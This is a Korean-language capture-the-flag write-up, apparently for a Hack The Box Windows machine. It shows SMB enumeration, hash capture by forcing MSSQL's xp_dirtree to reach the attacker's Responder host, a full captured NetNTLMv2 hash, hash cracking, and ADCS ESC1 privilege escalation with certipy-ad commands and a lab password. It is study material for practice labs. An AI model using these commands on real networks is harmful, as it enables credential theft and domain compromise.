user flag
smb
nmap으로 포트를 스캔해보면 smb 포트가 열려 있는 것을 확인 할 수 있다.
anonymous로 로그인 가능한지 살펴본다.
smbclient -N -L //10.10.11.202
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Public Disk
SYSVOL Disk Logon server share
Public이라는 폴더가 있다. 접속해본다.
pdf 파일이 놓여져있다. get으로 받아온 후 evince로 내용을 확인해본다.
유저의 크레덴셜이 적혀있다.
responder
위에서 발견한 크레덴셜로 mssql에 접속 후 데이터베이스를 살펴봐도 유용한 정보를 얻을 수 없다.
xp_cmdshell로 리버스쉘을 실행하려해도 권한이 없어 명령어를 입력할 수 없다.
이때 알게된 새로운 유용한 명령어가 xp_dirtree였다.
xp_dirtree는 impacket-mssqlclient에도 있는데 이걸 사용하면 다른 서버의 디렉토리 내의 파일 목록을 볼 수 있다.
즉, 내 kali 머신의 디렉토리를 조회하도록 하고 kali에서는 들어오는 통신을 보는 것으로 상대방에 대한 정보를 얻을 수 있다.
우선 responder를 리스닝 상태로 설정한다.
sudo responder -I tun0 -v
그다음 mssql에서 xp_dirtree 명령어를 입력한다.
exec master.sys.xp_dirtree '\\10.10.16.5\test', 1, 1
뒤에 1, 1은 디렉토리의 depth와 파일을 표시할지를 나타내는 플래그다.
명령어를 입력하면 responder에 유저 정보가 포착된다.
획득한 정보를 살펴보면 sql_svc의 해쉬값이 들어있다.
sql_svc::sequel:effe21f45e2b4f0a:CAADB9FE5CE9BA1BDA6A45959600B4C5:010100000000000000B3A6A2CAA6DB01528B1A6C83C9EEAF00000000020008004B00300030004C0001001E00570049004E002D0045003900450032004A0031004C00530048004E00530004003400570049004E002D0045003900450032004A0031004C00530048004E0053002E004B00300030004C002E004C004F00430041004C00030014004B00300030004C002E004C004F00430041004C00050014004B00300030004C002E004C004F00430041004C000700080000B3A6A2CAA6DB01060004000200000008003000300000000000000000000000003000004EAF755EFA59CEEB16C1BC772575133A5B7CD7BD2AFD56DA1ECD06795D5BEC270A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0035000000000000000000
텍스트 파일로 저장하고 john으로 크랙킹하면 비밀번호를 얻을 수 있다.
크레덴셜을 이용하여 winrm으로 로그인에 성공했다.
winrm
sql_svc 유저로 접속 후 파일들을 살펴보면 로그 파일에 유저의 크레덴셜이 노출되어 있다.
로그에서 발견한 크레덴셜로 Ryan으로 로그인하면 플래그를 얻을 수 있다.
root flag
이번 머신에서는 adcs의 취약점을 이용해서 권한 상승을 해야한다.
certipy-ad를 이용하면 adcs 관련 취약점이 있는지 알 수 있다.
certipy-ad
certipy-ad find -vulnerable -dc-ip 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -stdout -debug
그럼 취약한 템플릿의 정보가 출력된다.
esc1 취약점이 있다는 결과를 확인할 수 있다.
esc1 공격을 하면 관리자의 해쉬값을 얻을 수 있다.
공격자가 ADCS 서버에 인증서를 요청할 때 SAN (Subject Alternative Name)을 타겟유저로 변경해서 신청함으로써 타겟유저의 인증정보를 획득한다.
certipy-ad를 이용하여 다음 명령어를 입력한다.
certipy-ad req -u ryan.cooper -p NuclearMosquito3 -ca sequel-DC-CA -target sequel.htb -dc-ip 10.10.11.202 -template UserAuthentication -upn administrator@sequel.htb -ns 10.10.11.202 -dns 10.10.11.202 -debug
그럼 다음과 같이 관리자의 pfx가 저장된다.
certipy-ad의 auth 옵션으로 pfx를 사용하여 인증한다.
이때 KRB_AP_ERR_SKEW(Clock skew too great)라는 에러가 발생할 수 있는데 이는 시간설정을 동기화하면 해결된다.
sudo ntpdate -u <targetIP>
인증을 마치면 관리자의 해쉬값을 획득할 수 있다.
해쉬값을 이용하여 winrm으로 접속한다.
복습
-
xp_dirtree와 responder의 조합으로 유저의 정보를 파악 할 수 있다.
-
윈도우의 서비스 인증에는 kerberos 말고도 인증서를 이용하는 ADCS가 있다. 여기에도 권한상승을 가능하게하는 취약점들이 존재한다. esc1 ~ 8까지 있는듯하다. escapetwo 머신에서는 esc4를 이용했다.
esc1 공격의 흐름은 아래의 그림과 같다.
- clock skew 에러가 발생하면 시간을 동기화해주면 된다.
참고자료
- https://www.igloo.co.kr/security-information/adcs%EC%9D%98-%EC%B7%A8%EC%95%BD%ED%95%9C-%EC%9D%B8%EC%A6%9D%EC%84%9C-%ED%85%9C%ED%94%8C%EB%A6%BF-%EA%B5%AC%EC%84%B1%EC%9D%84-%ED%86%B5%ED%95%9C-esc1-%EA%B3%B5%EA%B2%A9%EA%B8%B0%EC%88%A0offensive-tec/